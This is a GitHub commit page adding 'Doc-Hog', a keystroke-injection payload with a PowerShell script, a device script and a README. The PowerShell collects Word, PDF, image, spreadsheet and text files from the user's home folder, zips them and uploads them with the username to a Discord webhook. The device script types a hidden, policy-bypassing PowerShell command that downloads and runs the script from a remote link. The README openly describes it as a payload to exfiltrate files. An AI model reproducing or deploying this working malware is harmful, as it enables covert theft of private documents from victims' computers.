This repository was archived by the owner on Jan 5, 2025. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 175
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
ce480cd
commit 655e635
Showing
3 changed files
with
152 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,51 @@ | ||
function Doc-Hog { | ||
[CmdletBinding()] | ||
param ( | ||
[parameter(Position=0,Mandatory=$False)] | ||
[string]$file, | ||
[parameter(Position=1,Mandatory=$False)] | ||
[string]$text | ||
) | ||
|
||
$hookurl = 'DISCORD-WEBHOOK' | ||
|
||
$Body = @{ | ||
'username' = $env:username | ||
'content' = $text | ||
} | ||
|
||
if (-not ([string]::IsNullOrEmpty($text))) { | ||
Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json) | ||
} | ||
|
||
if (-not ([string]::IsNullOrEmpty($file))) { | ||
curl.exe -F "file1=@$file" $hookurl | ||
} | ||
} | ||
|
||
$Files = Get-ChildItem -Path "$env:HOMEPATH" -Include "*.docx","*.doc","*.pptx","*.xlsx","*.pdf","*.jpeg","*.png","*.jpg","*.csv","*.txt" -Recurse | ||
|
||
$types = @{ | ||
"*.docx" = "Word"; | ||
"*.doc" = "Word"; | ||
"*.pptx" = "PowerPoint"; | ||
"*.xlsx" = "Excel"; | ||
"*.pdf" = "PDF"; | ||
"*.jpeg" = "JPEG"; | ||
"*.png" = "PNG"; | ||
"*.jpg" = "JPEG"; | ||
"*.csv" = "CSV"; | ||
"*.txt" = "Text"; | ||
} | ||
|
||
foreach ($type in $types.Keys) { | ||
$filteredFiles = $Files | Where-Object {$_.Name -like $type} | ||
|
||
if ($filteredFiles) { | ||
$zipFile = "$env:TEMP\$($types[$type]).zip" | ||
|
||
$filteredFiles | Compress-Archive -DestinationPath $zipFile | ||
|
||
Doc-Hog -file $zipFile -text "Uploading $($types[$type]) files" | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
REM Title: Doc-Hog | ||
REM Author: atomiczsec | ||
REM Description: This payload will enumerate through the files. Then create ZIPs with them, then send to a discord webhook. | ||
|
||
DEFINE URL http://new-url.com/powershell.ps1 | ||
|
||
REM Target: Windows 10 | ||
QUACK DELAY 2000 | ||
QUACK GUI r | ||
QUACK DELAY 500 | ||
QUACK STRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr $URL dl=1; iex $pl | ||
QUACK ENTER | ||
REM Remember to replace the link with your DropBox shared link for the intended file to download | ||
REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,87 @@ | ||
|
||
<h1 align="center"> | ||
<a href="https://git.io/typing-svg"> | ||
<img src="https://readme-typing-svg.herokuapp.com/?lines=Welcome+to+the;Doc+Hog!+😈¢er=true&size=30"> | ||
</a> | ||
</h1> | ||
|
||
<!-- TABLE OF CONTENTS --> | ||
<details> | ||
<summary>Table of Contents</summary> | ||
<ol> | ||
<li><a href="#Description">Description</a></li> | ||
<li><a href="#getting-started">Getting Started</a></li> | ||
<li><a href="#Contributing">Contributing</a></li> | ||
<li><a href="#Version-History">Version History</a></li> | ||
<li><a href="#Contact">Contact</a></li> | ||
<li><a href="#Acknowledgments">Acknowledgments</a></li> | ||
</ol> | ||
</details> | ||
|
||
# Doc-Hog | ||
|
||
A payload to exfiltrate all files like, PNG, DOCX, PDF, TXT, Excel, JPEG, and CSV | ||
|
||
## Description | ||
|
||
This payload will enumerate through the files. Then create ZIPs with them, then send to a discord webhook. | ||
|
||
## Getting Started | ||
|
||
### Dependencies | ||
|
||
* DropBox or other file sharing service - Your Shared link for the intended file | ||
* Windows 10,11 | ||
|
||
<p align="right">(<a href="#top">back to top</a>)</p> | ||
|
||
### Executing program | ||
|
||
* Plug in your device | ||
* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory | ||
``` | ||
powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; iex $pl | ||
``` | ||
|
||
<p align="right">(<a href="#top">back to top</a>)</p> | ||
|
||
## Contributing | ||
|
||
All contributors names will be listed here | ||
|
||
atomiczsec | ||
I am Jakoby | ||
|
||
<p align="right">(<a href="#top">back to top</a>)</p> | ||
|
||
## Version History | ||
|
||
* 0.1 | ||
* Initial Release | ||
|
||
<p align="right">(<a href="#top">back to top</a>)</p> | ||
|
||
<!-- CONTACT --> | ||
## Contact | ||
|
||
<div align="center"> | ||
<a href="https://lnk.bio/atomiczsec"> | ||
<img src="https://github.com/atomiczsec/My-Payloads/blob/main/Assets/sharethis-social-media-svgrepo-com.svg" width="48" height="48" alt="Link" /> | ||
</a> | ||
</div> | ||
|
||
|
||
<p align="right">(<a href="#top">back to top</a>)</p> | ||
|
||
|
||
|
||
|
||
<p align="right">(<a href="#top">back to top</a>)</p> | ||
|
||
<!-- ACKNOWLEDGMENTS --> | ||
## Acknowledgments | ||
|
||
* [Hak5](https://hak5.org/) | ||
* [I-Am-Jakoby](https://github.com/I-Am-Jakoby) | ||
|
||
<p align="right">(<a href="#top">back to top</a>)</p> |